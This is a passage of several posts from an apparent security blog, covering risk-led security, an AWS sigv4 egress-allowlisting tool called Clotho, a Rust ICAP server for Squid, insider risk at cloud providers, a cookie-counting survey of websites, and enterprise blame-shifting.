An organisation like that struggles to understand why segmentation is or will be important to their business, but they have a north star to follow. </p>
The direction of this type of organisation is that it constraints itself arguing against the usefuless of a control vs the requirements from the control catalogue.</p>
The approach is unfortunately self-limiting as the decisions that need to be made are also binary</em>, like our incident-led approach, albeit they are better informed and not reactive.
If there is a relevant control to your application, then you must</em> apply that control. There is no gradient, it's either on or off.</p>
The organisation tends to associate a control that's enabled as compliance and a control that isn't enabled as non-compliant.
Compliance drives security. If a decision doesn't make sense from a security perspective, we'll still argue the potential compliance merits, imagining requirements from mythical regulators.
Phrases like "defence in depth" without corresponding attack trees or threat models, are very popular.</p>
Context is not included. Context specific decisions are difficult to make. First turn everything on, then ask questions.
Cybersecurity becomes a burden and a tick-box exercise. It's sometimes performative or ceremonial security</a>.</p>
Risk-led</h2>
The risk-led approach starts by asking why. In contrast to controls-led, it starts with understanding the context and qualities of the system.</p>
Maybe it's Shostack's 4 question frame for threat modeling</a>, or it's just asking "what's an example where someone could have been in a better place if they have would segmented their network" ?</p>
Is this a property of the system that would help its resilience ? Is the cost of this mitigation</a> worth its implementation for this system?</p>
The organisation understands the regulatory requirements. Where they need to apply controls indiscriminately. Sometimes go as far as to argue against them, as the regulator's recommendation is lagging behind current understanding.</p>
The approach goes back to providing the context for the requirement. It tests the assumptions we make of the system that we're trying to protect.
It validates the security properties and principles we're trying to uphold.</p>
The organisation understands why intelligence-led</a> operations are important.</p>
Why resilience and stressed exit plans are part of your regulatory requirements</a>.</p>
Following our example.
We can justify why there is a need separate our staging environment from our production environment.
We apply the same controls across the environments. People don't have direct access to data, definitely not to prod.
We have confidence in our CI/CD and our deployment is the same across environments.
Our app server in test won't have authentication credentials to the prod database, or vice versa.</p>
The direction of this organisation is that it makes justifiable decisions to mitigate plausible threat scenarios under the context that they operate.</p>
Product comes first and security is an enabler.</p>
Decisions are not binary</em> and tradeoffs are understood, and captured.
In 6 months time we might have to make a different decision.
That's fine, the system is changing and we need to adapt. That's the core part of resilience after all</a>.</p>
What's next</h2>
Next time your organisation is about to implement a technical control, stop and ask.
Why are we really</em> doing this ?</p>
It might help you assess where you stand and the drivers of your cybersecurity programme.</p>

^{1</sup>
This model can also be useful, aside from being wrong.</p>
</div>
^{2</sup>
Before you bring up your favourite control catalogue, risk framework, or public breach/anecdote, that's the point I'm making.</p>
</div>}}


Cross-account access in public cloud
2024-03-11T00:00:00+00:00
Check out Clotho</a> and a working example using Squid</a></p>

In the realm of public cloud computing, the necessity of utilizing public endpoints is an inherent characteristic — it's what defines the "public" in public cloud.</p>
Consider this scenario: It's Monday, and you're logging into Outlook on the web (OWA) to access your work email. </p>
Interestingly, the same URL that grants you access to your work account also allows you to log into your personal account. 
You have the capability to transfer data directly from your work laptop to your personal email. You simply open a new tab, login to your personal email and upload all your work files.</p>
At first glance, this might seem like a convenient feature. However, it's precisely this type of activity that a ~$2bn market is trying to mitigate. 
Data Loss Prevention (DLP) solutions are designed to detect such unauthorized data transfers or exfiltration events.</p>
A DLP solution would be able to spot an exfiltration event from your work email to your personal email. The responsibility falls under the email provider. 
The email provider needs to provide the security controls to prevent or detect exfiltration events. </p>
However, that's not your path. You're uploading data to a trusted vendor endpoint, from a trusted work device, in a trusted work network, to your own email.</p>
You're after all, login in to Outlook, there is nothing malicious. The responsibility falls under your own network and devices.</p>
The endpoint serves everyone; therefore, if you decide to email yourself a spreadsheet, the responsibility for preventing or detecting this event, falls under your own network and devices.</p>
We need a way to prevent an attacker from accessing their</em> email, from our</em> network, whilst allowing access to the endpoint. </p>
Instead of email</em>, think about any service from a major public Cloud Service Provider (CSP).</p>
There are two ways to connect to CSPs services. Establish a connection over the internet or over Private Link.</p>
In AWS specifically, some</em> private endpoints do not</em> support policies</a> and some services do not support endpoints at all 1</a></sup>.</p>
We need access to AWS endpoints, sometimes over the internet. Sometimes it's an S3 bucket that has a picture of cat. This is how a chunk of the web still works, by having intentionally publicly readable S3 buckets.</p>
It follows that over the internet, an attacker can access their S3 bucket - or other service with no endpoint or endpoint policy - from our network, using their account credentials, and we won't be able to prevent or trivially detect the event.</p>
The risk becomes apparent when: </p>

We place people next to data2</a></sup> - i.e. an insider risk.</li>
An attacker is in our network with data and wants to get out.</li>
</ol>
It's a challenge to not place people next to data. Once achieved, it removes a significant amount of risk from the system and the organisation 3</a></sup>.</p>
Insider risks are well known4</a></sup>,  especially</a> in large</a> organisations</a>.</p>
When we PUT an object in an S3 bucket, over the internet, our request would be to one of these endpoints</a>. How can we identify that the PUT happens in our S3 bucket and not the attacker's ? In other words, how do we stop cross account/tenant/organisation access over the internet ? 
How can we prevent an attacker from inside our network, accessing cloud service public endpoints?</p>
In AWS, Azure, and GCP, this is a known threat. Azure and GCP share a similar approach and enable you to put tenant/organisation restrictions in place.
Here's how they work:</p>
The traffic sent from anything inside your corporate network, must</em> go via an egress proxy before it reaches the public endpoint of the CSP.</p>
The proxy will "break" TLS, inject a custom HTTP header and forward the request to the CSP's public endpoint.</p>
The HTTP header that will be injected contains the unique IDs of the corporate tenants. In other words it's an allowlist.
If the request tries to access resources or authenticate to anything other than the allowlisted tenants, it will get denied.</p>
Which means that we don't have to do any further inspection into the credentials or the type of the request that was sent.
All we need to do, is get a list of our tenant/organisation ID, force everyone to go via the egress proxy - probably already doing this - and we've just mitigated our cross-tenant/org threat.</p>
 </p>
Azure and GCP, provide more granular capabilities with Azure tenant restrictions v2</a>, GCP organisation restrictions</a> and Google consumer domain blocks</a>.</p>
What about AWS ? It's complicated. AWS launched Management Console Private Access</a>.
You build a VPC in an AWS account and create two new VPC Endpoints - console</code> and signin</code>. Then you force all of your corporate users traffic to these VPC endpoints instead of the public endpoints.</p>
There are problems with this approach.</p>

It doesn't support API access. We're still not solving the issue of services that lack VPC Endpoints or VPC Endpoint Policies. </li>
It complicates the setup when we need both console and API access. </li>
Supported regions and services are not 100% there.</li>
</ol>
Which is why I made Clotho.</p>
Clotho</h2>
Clotho</a> aims to be a fast and secure AWS sigv4 verification library, written in Rust, that can be used as an external authoriser with your favourite forward proxy.</p>
It aims to act like the Azure and GCP solutions in AWS, but without the need to inject any headers or alter the request in any way.</p>
Why do you need this ?</p>


Security - You can filter sigv4 based on account IDs, regions, or AWS services.
For example your internet egress traffic can be limited only to your AWS account. This is very important especially for AWS services that do not support VPC endpoints.</p>
</li>

Cost savings - It can be cheaper to run vs VPC endpoints</p>
</li>
</ol>
Clotho won't apply any IAM policy checks depending on your IAM identity. Clotho will simply parse the Authorization</code> header and apply an allowlist check based on the account, region, or service.</p>
Before I continue on how Clotho works, we first need to understand what's in a typical AWS API request, and specifically the authorisation part, sigv4.</p>
Here's an example Authorization</code> header of an HTTP request to the AWS STS</code> public endpoint API using the sigv4 scheme.</p>
Building this request is an offline operation. All you need is an aws_secret_access_key</code>, the region</code> which you intent to send the request, and the service</code> that you're operating.</p>
1. "Authorization": "AWS4-HMAC-SHA256 
</span>2. Credential=AKIAWNIPTZABWMEXAMPLE/20240107/eu-west-1/sts/aws4_request,
</span>3. SignedHeaders=content-type;host;x-amz-date,
</span>4. Signature=03707c980d16f1eecdf36551112fa6244764079272b6bb5cd708a4bd25d43e1e",
</span></code></pre>
Line 1: The algorithm used to calculate line 4, the Signature</code> component.</p>
Line 2 : Credential</code> component. It includes the access_key_id</code>, the date the request was signed, the region and service that the request is targeting, and the type of the signature aws4_request</code>. </p>
Line 3: SignedHeader</code> component - describe the contents used to generate the signature.</p>
Line 3 references HTTP headers that are not part of the snippet above, but are part of the request.</p>
Clotho "verifies" the Credential</code> component, against a provided allowlist.</p>
Since the Credential</code> component is part of the signature, if an attacker modifies any part of it, the verification of the signature will fail.
Tampering of the Signature</code> will equally result into the verification of the signature failing since it won't match the Credential</code> component.
Therefore a Monster in the Middle (MitM) attacker can replay a sigv4 request 5</a></sup> but cannot tamper with it.</p>
The first and primary information we need to take is to identify the account that owns the access_key_id</code>.
Normally this could be done by calling GetAccessKeyInfo</a>.
However, we can unpack the AWS account ID 6</a></sup> from the access_key_id</code>. This saves as network call to the STS endpoint. Our verification can take place offline.</p>
We can then build an egress proxy that inspects any AWS API request, reads the Credential</code> component of the Authorization</code> header and compares the request to our own allowlist.</p>
An allowlist in Clotho looks like this</p>
accounts</span>:
</span>  </span>"581039954779"</span>:
</span>    </span>"regions"</span>:
</span>      </span>"*"</span>:
</span>        </span>"services"</span>:
</span>          - </span>"s3"
</span></code></pre>
This will allow any request from account 581039954779</code>, to any region, to the s3 service.
If Clotho receives the following request ... Credential=AKIAIOSFODNN7EXAMPLE/20130524/us-east-1/s3/aws4_request</code> it can unpack the AWS Account id from the access_key_id</code> and make decision based on the allowlist. In this case the request would be allowed. You can clone the repo and run the example yourself.</p>
I've included an example implementation in squid</a>, and an implementation in Python's mitmproxy</a>.</p>
A back-of-the-envelope calculation comparing VPC Endpoints and Clotho, shows that Clotho could</em> be cheaper.
Here's a cost comparison, with the following assumptions:</p>

Running on us-east-1</li>
Everything runs across x3 AZs</li>
There is no intra region traffic when reaching clotho instances </li>
There are no egress costs for reaching out to AWS Services in the same region - Reference</a></li>
Clotho runs on graviton and the pricing is on-demand</li>
</ul>
Traffic</th> VPCE Count</th> VPCE Price</th> Clotho Cost</th> Clotho instance type</th></tr></thead>

1 TB</td> 10</td> $226</td> $9.072</td> t4g x3</td></tr>
1 TB</td> 20</td> $433</td> $9.072</td> t4g x3</td></tr>
10 TB</td> 10</td> $316</td> $83.16</td> c6gd x3</td></tr>
10 TB</td> 20</td> $532</td> $83.16</td> c6gd x3</td></tr>
100 TB</td> 10</td> $1216</td> $1078.27</td> c7gn.2xlarge x3</td></tr>
100 TB</td> 20</td> $1432</td> $1078.27</td> c7gn.2xlarge x3</td></tr>
</tbody></table>
With Clotho you pay only</em> for the compute cost.
The vertical scale up calculation happens to accommodate for higher bursts.
A VPC Endpoint can burst to 100 Gbit/s with sustained 10Gbit/s.</p>
A t4g instance would cater for up to 5 Gbit/s, and a c7gn.2xlarge up to 50Gbit/s . Figures taken from ec2instances.info</a></p>
Clotho is at a very early stage, and contributions are welcome.</p>

References:</p>
^{1</sup>
AWS Certificate Manager, AWS WAF, and Route 53 come immediately to mind.</p>
</div>}^2</sup>SEC08-BP05</a> Keep people away from data. This principle extends outside of the cloud. </p>
</div>
^3</sup>The Ice Cream Cone of Hierarchy of Security Solutions</a> by Kelly Shortridge is a fantastic example. The less dependent your system is to human behaviour the better. An engineer creating a "builder" VPC with an admin-like role that has access to the internet, so that the platform can import certificates to AWS ACM is necessary, but risky. It doesn't have to be spreadsheets.</p>
</div>
^4</sup>https://www.ncsc.gov.uk/guidance/reducing-data-exfiltration-by-malicious-insiders</a></p>
</div>
^{5</sup>
Depending on the nature of the request and whether it's idempotent or not. Not all AWS APIs are the same. The replay also has a time limit of ~15 mins</p>
</div>}^6</sup>https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489</a></p>
</div>


A day in Squid with ICAP
2024-02-14T00:00:00+00:00
I'm writing an authorisation library for AWS in Rust and Python.
I want to parse requests sent to AWS public endpoints, say s3.amazonaws.com</code> and figure out if I should forward them or not.</p>
Instead of writing my own proxy, 1</a></sup> I thought I'd integrate my library with Squid proxy</a>.</p>
Squid was initially released in 1996. Written in C++, it has survived the test of time, in that it is still widely used.</p>
As an example AWS writes usecases using Squid as an outbound proxy</a>.
A similar case with GCP using Squid for egress control</a>.</p>
I want to use Squid for something similar.</p>
I started my integration journey with external_acl_type</code>.</p>
Squid runs instances of a program of your choosing. You can define what parameters you can pass to this program.</p>
Squid expects a response. An OK</code> if the request should be allowed or ERR</code> if the request should be denied.</p>
Here's an example program that allows all requests:</p>
while </span>True</span>:
</span>    line </span>= </span>sys.stdin.readline().strip()
</span>    </span>if </span>line:
</span>        sys.stdout.write(</span>"OK</span>\n</span>"</span>)
</span>    </span>else</span>:
</span>        time.sleep( </span>1 </span>)
</span>
</span></code></pre>
Squid run the authoriser in the background. In your squid config you setup something like external_acl_type my_auth_helper %SRC my_authoriser</code>.
%SRC</code> passes the source IP as an argument to my_authoriser</code>. That works pretty well, but only when you're not dealing with HTTPS requests.</p>
Squid cannot send HTTPS request headers to an external_acl_type</code> 2</a></sup>, for reasons unknown. The "classical" way of dealing with this in Squid is ICAP.</p>
ICAP stands for Internet Content Adaptation Protocol and has been defined since 2003 in RFC 3507</a>.
Two decades later it seems to still be in use. There is a crowd that supports anti-virus scanning on egress traffic</a>. It's all the adaptation_</code> directives in Squid.</p>
ICAP is aimed at being "a lightweight protocol for executing a 'remote procedure call' on HTTP messages".</p>
It is nothing like that</em>.</p>
ICAP is symbiotic to HTTP. A wrapper. It has two main methods of operations 3</a></sup>. Request modification -REQMOD and response modification RESPMOD.
In REQMOD</code>, the request is forwarded to the ICAP server for a decision.</p>
</p>
In RESPMOD</code>, the response from the origin webserver is forwarded to the ICAP server for a decision.</p>
</p>
Squid has its own ICAP client.</p>
In REQMOD</code>, when squid receives an HTTP request from a client it would craft the following request to the ICAP server.</p>
   REQMOD icap://icap-server.net/server?arg=87 ICAP/1.0
</span>   Host: icap-server.net
</span>   Encapsulated: req-hdr=0, null-body=76
</span>
</span>   GET / HTTP/1.1
</span>   Host: www.example.com
</span>   Accept: text/html, text/plain
</span></code></pre>
The first headers indicate byte offsets ala Content-Length</code> in HTTP. Req-hdr</code> tells us that the headers start from byte 0.
Null-body</code> tells us, there's no HTTP body that follows and there's 76 bytes of headers.</p>
The core of the REQMOD</code> ICAP request is the Encapsulated</code> header, which is the HTTP header plus the HTTP body, if there is any.
Requests terminate with 0\r\n\r\n</code></p>
The ICAP server would send a response back</p>
   ICAP/1.0 200 OK
</span>   Server: ICAP-Server-Software/1.0
</span>   Connection: close
</span>   Encapsulated: req-hdr=0, null-body=197
</span>
</span>   GET /modified-path HTTP/1.1
</span>   Host: www.example.com
</span>   Via: 1.0 icap-server.net (ICAP Example ReqMod Service 1.1)
</span>   Accept: text/html, text/plain, image/gif
</span>   Accept-Encoding: gzip, compress
</span>
</span></code></pre>
In this example the ICAP server has modified the request, but it can also send a 403 Forbidden, or a 204 No Content response.</p>
This behaviour seems to fit the bill. I'll setup an ICAP server that will inspect the HTTPS headers forwarded by Squid.
Even better someone has written an ICAP parsing library</a>. Huzzah!</p>

</span>let </span>mut</span> buf </span>= </span>Vec</span>::new();
</span>let </span>mut</span> icap_headers </span>= </span>[</span>ICAP_EMPTY_HEADER</span>; </span>16</span>];
</span>let </span>mut</span> icap_request </span>= </span>ICAPRequest::new(</span>&mut</span> icap_headers);
</span>
</span>// We parse the ICAP request first
</span>match</span> icap_request.</span>parse</span>(</span>&</span>buf) {
</span>    </span>Ok</span>(icaparse::Status::Complete(</span>_</span>)) </span>=> </span>{
</span>        </span>// icap_request.encapsulated_sections contains our HTTP request 
</span>        </span>// send response   
</span>        </span>let</span> response </span>= </span>format!(</span>"ICAP/1.0 204 No Content</span>\r\n\r\n</span>"</span>);
</span>    }
</span></code></pre>
You might notice that like in HTTP, in ICAP we could end up with Partial</code> responses, but we'll pretend that this sort of thing can never happen.
The RFC makes chunking of encapsulated bodies mandatory but encapsulated headers are not chunked. I only care about encapsulated headers.
Interestingly enough the mandatory use of chunking, is what prohibited the authors from building ICAP on top of HTTP as an application-layer protocol.</p>
The Squid config to forward all requests to the ICAP server.</p>
icap_enable </span>on
</span>icap_service </span>iservice reqmod_precache bypass</span>=</span>0 </span>icap://127.0.0.1:1344
</span></code></pre>
That seems straightforward. Which is why Squid never forwarded any HTTP request to my ICAP server.
Baffling.  Remember how I said ICAP had two main modes? Well I lied. I discovered that Squid sent a third type of method, OPTIONS</code>.</p>
Before squid forwards the first HTTP request, it asks the ICAP server for "options".
Asking if it's a REQMOD or RESPMOD server, what's the date, what's the name of the ICAP server, that sort of thing.
The c-icap-client</code>, is very handy 4</a></sup>. It can craft an OPTIONS ICAP request.</p>
Let's craft our OPTIONS response</p>
const </span>OPTIONS</span>: </span>&</span>[</span>u8</span>] </span>= </span>r</span>#"ICAP/1.0 200 OK
</span>Methods: REQMOD
</span>Service: Rust ICAP Server
</span>Allow: 204
</span>ISTag: RustICAPServer
</span>Encapsulated: null-body=0
</span>
</span>"#
</span>.</span>as_bytes</span>();
</span></code></pre>
Rust's raw string literals</a> are neat like that. We don't need to mess around with \r\n</code>. </p>
It's inevitable that someone will write a fully fledged ICAP server in Rust. For now my implementation works pretty well.</p>

^{1</sup>
I still might end up writing my own, because it could be simpler. There aren't many pluggable MiTM proxies out there.</p>
</div>
^{2</sup>
Quite possibly. There's a chance I haven't unlocked the right arcane incantation that is the Squid configuration.</p>
</div>
^{3</sup>
It's actually three as I found out later.</p>
</div>
^{4</sup>
For example c-icap-client -i 127.0.0.1 -p 1344 -s service_name</code>.</p>
</div>}}}}


On trusting cloud vendors and insider threats
2024-01-14T00:00:00+00:00
I stumbled upon this post on the AWS subreddit:
How are you mitigating the risk of a rogue AWS engineer accessing our data or damaging the RDS instance?</a></p>
The author wants to address the CISO's concerns about this scenario.</p>
The top responses dismissed the concern. </p>

This sounds like more of an issue with your leadership not understanding how AWS works[...]</p>
</blockquote>
and </p>

Honestly, this sounds like more of a managerial question[...]</p>
</blockquote>
Comments fall into one of the three categories:</p>

It's in an audit, certification report/AWS Artifacts.</li>
Something about encryption</li>
Maybe the CISO is on to something</li>
</ol>
The majority of the responses included the sentiment that "the CISO doesn't get it".</p>
I don't think this is the case</em>. This is a realistic and legitimate concern.</p>
It's a situation where everyone is somewhat correct.</p>
Before we address the comments, let me rephrase the concern1</a></sup>:</p>
AWS staff can access customer data in RDS, either via direct access to the infrastructure or via the sys-level super users of database engines.</p>
This concern isn't limited to AWS, it's common  across all cloud service providers (CSP).</p>
It's certifiably not accessible</h1>
Regulations, standards, certifications, etc. tend to not prohibit user interactions with a system.</p>
For example, there are strict access controls guidelines in PCI DSS2</a></sup>, Financial Conduct Authority's (FCA) handbook 3</a></sup>, etc. but nothing that would suggest that AWS RDS - or other service - is certifiably not accessible by AWS staff. The controls are mostly self-imposed by AWS, and other CSPs.</p>
The goal here it to prove that we've done our due diligence4</a></sup> for our vendor. It's compliance. We haven't really talked about the mechanisms in place to prevent this. Even further, how these mechanisms are visible to the customer.
An attacker cannot be stopped by calling out "but that would break policy".</p>
An organisation will mitigate third party risks by compliance. Pragmatic due diligence stops here.
Realistically as a customer you wouldn't have the means to enquire about the inner workings of your vendor, and that's OK.
The customer will never know the mechanism, but can trust</em> that they are in place.
As a customer you trust a CSP that their staff don't have access to your</em> customer data.</p>
In any event, you can invoke the shared responsibility model, and your organisation can possibly</em> escape the accountability</em> of the concern.
You can say to your customers: "It wasn't us, and we definitely didn't have such an expectation from our due diligence."</p>
CSPs want</em> their customers to make this argument.</p>

  We prohibit -- and our systems are designed to prevent -- remote access by AWS personnel to customer data for any purpose, including service maintenance, unless that access is requested by you or unless access is required to prevent fraud and abuse, or to comply with law. 

      -- AWS documentation
</blockquote>
Encryption</h1>
I've written about AWS' KMS threat model5</a></sup>. When it comes to encryption in CSPs, the pragmatic threats to accessing your data derives from IAM.</p>
Server side encryption is customer insurance against a "black swan" event against your CSP. Including the External Key Store (XKS) scheme and bringing your own key.
With any server side encryption scheme, you're trusting your CSP to encrypt the data and secure the key.
The customer hands the data and points to a CSP hosted key. The rest is up to the CSP. </p>
There is again a level of trust - albeit enforced by a stronger premise - to the CSP. For example, in XKS you trust your CPS will delete your data key after each encrypt and decrypt operation.</p>
</p>
You get the idea.</p>
Similarly HSMs also involve a level of trust in that AWS staff cannot retrieve the Domain Key. This extends the trust in a different direction. A fourth party company certifiably</em> builds the HSM in such a way that no one would be able to retrieve the HSM/Domain Key.</p>
But server side encryption is meaningless for RDS in this scenario and has a completely different threat model. 
In our scenario AWS staff would have direct access to the database. In server side encryption the encryption/decryption is transparent and in this case doesn't require IAM permissions to KMS, unlike S3. </p>
Client side encryption6</a></sup> is where a customer can potentially increase the security of their system. 
It makes the provider's position a lot more complex when it comes to retrieving your data. Even if AWS staff can login as a "SUPER", they now get encrypted data. They need to get access to your client key as well. A case of self-imposed separation of duties for CSPs.</p>
If your data is encrypted before being stored, the CSP has to go through more steps in order to retrieve a key that they don't have in the first place. 
Arguably - again with an enforced premise of trust - potentially impossible7</a></sup> or potentially noticeable by the customer.</p>
The CISO might be on to something</h1>
By now you should notice a theme, it's all about trust. </p>
CSPs build security controls to defend against their own machinations and their own internal threat actors.</em> By extension, the CSPs protect their customers. 
This isn't something that you can easily and openly talk about as a vendor, but this is the reality of cyber security.</p>
How often do data centre operators put controls in place because they do not trust their staff?</p>
The argument then goes that we can enable logs. CSPs provide transparent operations, by enabling logging, customers should</em> be able to have an unfettered view of access to their database.
This is the case with AWS CloudTrail, Azure Audit Logs, GCP Cloud Audit Logs, etc.</p>
The difference between AWS and other CSPs is that AWS doesn't provide a separate access transparency logs service.</p>

GCP has Access Transparency and Access Approval</a>, </li>
Azure has Customer Lockbox</a>,</li>
AWS has no equivalent. </li>
</ul>
These services make access requests to customer data, visible to the customer.
Because a customer might actually request CSP staff to access their account and get very</em> close to the data as part of a support ticket.
Because not every database holds private data.</p>
Following this, what makes transparency logs trustworthy then, and not AWS RDS audit logs?
Why trust one and not the other? 
Can we even verify the provenance and integrity of CSP logs ?</p>
Reflections on Trusting Trust</a>, seems apropos.</p>

  The moral is obvious. You can't trust code that you did not totally create yourself. (Especially code from companies that employ people like me.) No amount of source-level verification or scrutiny will protect you from using untrusted code. 

      -- Ken Thomson
</blockquote>
It's trust</em> turtles all the way down.</p>

^{1</sup>
I purposefully use the word concern</em> instead of risk</em>. We're not going into formalities and likelihoods. We want to first address if this is a legitimate concern</em> that we should even consider, at least based on the responses from the post.</p>
</div>}^{2</sup>
"Access to payment account data must be granted only on a business need-to-know basis. Logical access controls are technical means used to permit or deny access to data on computer systems." - PCI DSS 4.0</p>
</div>}^{3</sup>
"Automation may reduce a firm's exposure to some 'people risks' (including by reducing human errors or controlling access rights to enable segregation of duties), but will increase its dependency on the reliability of its IT systems." - FCA handbook SYSC 13.7.|</p>
</div>}^{4</sup>
This is the definition of due diligence. As a customer you're showing that you've fulfilled your reasonable standard of care for your industry or at least risk appetite. The extent to which you need or can go further depends on the vendor, your pockets, the industry, etc.</p>
</div>}^5</sup>https://airwalkreply.com/aws-kms-threat-model</a> </p>
</div>
^{6</sup>
Transparent Data Encryption (TDE) or similar technologies included. The data is encrypted before it's stored, and preferably not using a CSPs KMS. </p>
</div>}^7</sup>https://docs.aws.amazon.com/whitepapers/latest/security-design-of-aws-nitro-system/no-aws-operator-access.html</a></p>
</div>


The website that sets the most cookies
2023-12-09T00:00:00+00:00
With my browser setup I don't get to see the GDPR cookie banners</a>.
You can achieve the same by using ublock origin</a> .</p>
After an update, my default browser changed. I opened a link to a news website, and there it was, the cookie banner, asking me if I want to accept sharing my data with 1174 partners1</a></sup>. 
That's a lot of partners. There's probably some website out there that has more partners than this, and I need to find out.</p>
I've got a list of websites</a>, installed playwright</a>, and I'm off to check how many cookies do these websites self-report they have.</p>
Every website has a "we have 5 partners that ..." in the cookie banner, right ? 
I wrote a regular expression to capture that number.</p>
def </span>extract_numbers</span>(</span>text</span>) -> </span>str</span>:
</span>    pattern </span>= </span>r</span>'</span>\b</span>(</span>\d</span>+</span>)</span>\s</span>+</span>(?:partner</span>.</span>|</span>vendor</span>.</span>)</span>\b|\b</span>(?:partner</span>.</span>|</span>vendor</span>.</span>)</span>\s</span>+</span>(</span>\d</span>+</span>)</span>\b</span>'
</span>    matches </span>= </span>re.findall(pattern, text)
</span>    </span># Flatten the list of tuples and remove empty strings
</span>    matches </span>= </span>[num </span>for </span>tup </span>in </span>matches </span>for </span>num </span>in </span>tup </span>if </span>num]
</span>    </span>return </span>matches[</span>0</span>]
</span></code></pre>
It turns that most websites on my list don't have this partner count.
I ended up with lots of missing or inaccurate data. Getting the self-reported data isn't as straightforward. 
There is no requirement to self report the count</em> of all advertising partners. This approach was a dud.</p>
The next best approach that I thought of was to find and click every "Opt-in" or "Accept" button. Then count the number of cookies, that are set.
This isn't ideal either. I won't know the advertising partners, I'll just know how many cookies. It's fair assumption to make that the count of domains would represent the count of advertising partners, more or less.</p>
The data was a lot more accurate however, playwright gets confused between multiple buttons that have the same text.</p>
For example</p>
Error: strict mode violation: locator("button:has-text(\"Accept\"), button:has-text(\"Agree\")") resolved to 2 elements:
</span>    1) <button id="onetrust-accept-btn-handler">Accept All Cookies</button> aka get_by_role("button", name="Accept All Cookies")
</span>    2) <button id="accept-recommended-btn-handler">Accept All Cookies</button> aka get_by_label("ORCID Cookie Settings").get_by_text("Accept All Cookies")
</span>
</span></code></pre>
Looking at some of the websites, the first button, tended to be the "Accept" option, so I decided to tell playwright to click the first button, always. 
I'm not sure if I'm even clicking on the cookie banner, or another button somewhere on the website that says "Accept", but the chances of that happening are fairly low.</p>
However, I still couldn't make sure that I clicked the "right" button.</p>
Continuing with this approach, I started playwright with Firefox using the "Desktop Firefox", User-Agent.
Switching to Chromium with a mix of Desktop Edge</code> and Desktop Chrome</code> User-Agents, proved to be a lot more successful, but there are still a lot of websites that I never managed to reach. Ultimately what worked consitently was rotating between Firefox</code> and Chromium</code> and using playwright_stealth</a>.</p>
Before I present the data, a recap of all the assumptions: </p>

I'm not login in into any of these websites. Facebook.com seems to drop exactly one cookie from their own domain after accepting all cookies. I imagine this isn't the case after login 2</a></sup> .</li>
These are the cookies stored in the browser just after I click on - what I believe to be - "Accept all cookies", i.e. the data is still not accurate</em>.</li>
There are websites on the list thatdon't have a cookie banner, e.g. vk.com . </li>
</ol>
Removing some of the duplicates and domains that no longer exist, I ended up with data from 962 websites.</p>
Top 10 websites that give you the most cookies</h4>
The website that sets the most cookies after you accept all cookies is songkick.com</code>, with a total of 172.
This includes cookies set under the .songkick.com</code> domain.</p>
Domain</th> Number of cookies set</th></tr></thead>

songkick.com</td> 172</td></tr>
hollywoodreporter.com</td> 132</td></tr>
boredpanda.com</td> 132</td></tr>
vanityfair.com</td> 128</td></tr>
newyorker.com</td> 121</td></tr>
businessinsider.com</td> 117</td></tr>
stocktwits.com</td> 112</td></tr>
wired.com</td> 111</td></tr>
vogue.com</td> 111</td></tr>
mlb.com</td> 111</td></tr>
</tbody></table>
Top 10 websites that give you cookies from different domains</h4>
Cookies from 62 different domains were set in songkick.com</code>. </p>
Domain</th> Number of domains</th></tr></thead>

songkick.com</td> 62</td></tr>
hollywoodreporter.com</td> 49</td></tr>
boredpanda.com</td> 48</td></tr>
vanityfair.com</td> 44</td></tr>
aljazeera.com</td> 44</td></tr>
stocktwits.com</td> 44</td></tr>
lesechos.fr</td> 42</td></tr>
huffpost.com</td> 41</td></tr>
businessinsider.com</td> 39</td></tr>
huffingtonpost.com</td> 39</td></tr>
</tbody></table>
Top 10 cookie domains</h4>
The most common domain cookies were set under was .linkedin.com</code>, found in 330 websites.
The top 10 of the most common domains:</p>
Domain</th> Count</th></tr></thead>

.linkedin.com</td> 330</td></tr>
.doubleclick.net</td> 176</td></tr>
.pubmatic.com</td> 165</td></tr>
.twitter.com</td> 104</td></tr>
.adobe.com</td> 100</td></tr>
.casalemedia.com</td> 96</td></tr>
.demdex.net</td> 91</td></tr>
.bing.com</td> 72</td></tr>
.adnxs.com</td> 70</td></tr>
.yahoo.com</td> 69</td></tr>
</tbody></table>
^{1</sup>
It was the dailymail.co.uk</p>
</div>
^{2</sup>
https://www.facebook.com/privacy/policies/cookies/?annotations[0]=explanation%2F3_companies_list</a></p>
</div>


Enteprise problem solving
2023-11-27T00:00:00+00:00
You can solve any problem in an enterprise setting by assigning it to the team that is not in the meeting.</p>
You can potentially extend this to settings other than meetings, as long as you get agreement with the rest of the participants that the problem sits with team X.</p>
There are certain quorum criteria that you need to meet, depending on the size of the problem.
For instance, a problem that requires a quarter's worth of work from team X, might require at least 2 different teams to agree, a 2 out of 3.
Of course this isn't really solving any problems, it's assigning blame.
But you can pretend it's problem solving, as you</em> have one less problem to solve. That's how a lot of the problems are "solved" today. You pass them to someone else, and as long as you've achieved some form of consensus, your team can be successful. </p>
I call this the enterprise problem solving law.</p>

If the most efficient way for a team to "solve" a problem is to assign it to another team, they will do.
</blockquote>
Problems are "solved" not by direct action but by strategic reallocation.</p>
Here's a couple of examples of how this works in practice.</p>
You're part of an application team that wants to integrate with the central identity provider.
You're in a meeting with the identity team but can't figure out a way to integrate. The tooling team is missing from the conversation.
You're in luck because that's exactly what the tooling must</em> add to their remit, and immediate roadmap. The tooling team just became the blocker and the actual problem solver.</p>
Or maybe you're part of the vulnerability management team. You're in a meeting with the platform team to identify why you're not making a dent on your vulnerability metrics.
The application team is missing from the meeting. The platform team insists that the majority of the vulnerabilities originate from dependencies that are the within the application team's remit.</p>
No one communicated or agreed with the application team that this is within their remit.
But, you've achieved consensus, the problem is solved. After all ignorantia juris non excusat, you proclaim happily.</p>
Anthropology has a lot to teach us about this behaviour. Mary Douglas has just the quote from Risk and Blame 1</a></sup>.</p>

  If you want to cast blame, there are always loopholes for reading the evidence right. Science has not produced a run of people who don't wish to dominate one another. 

      -- Mary Douglas
</blockquote>
In other words: "it comes natural to some humans to pass blame", and there are common reasons to it.</p>
For starters, negative experiences. The brain responds more strongly to bad experiences than good ones and retains the memory of bad experiences longer. There's a ratio that depends on your mental health, emotions and age. The ratio between positive and negative effects is three good experiences for a negative experience 2</a></sup>. Assigning direct blame, without constructive outcomes, leads to negative experiences, which leads to more blame. Criticism and reprimanding naturally make people averse to taking responsibility. </p>
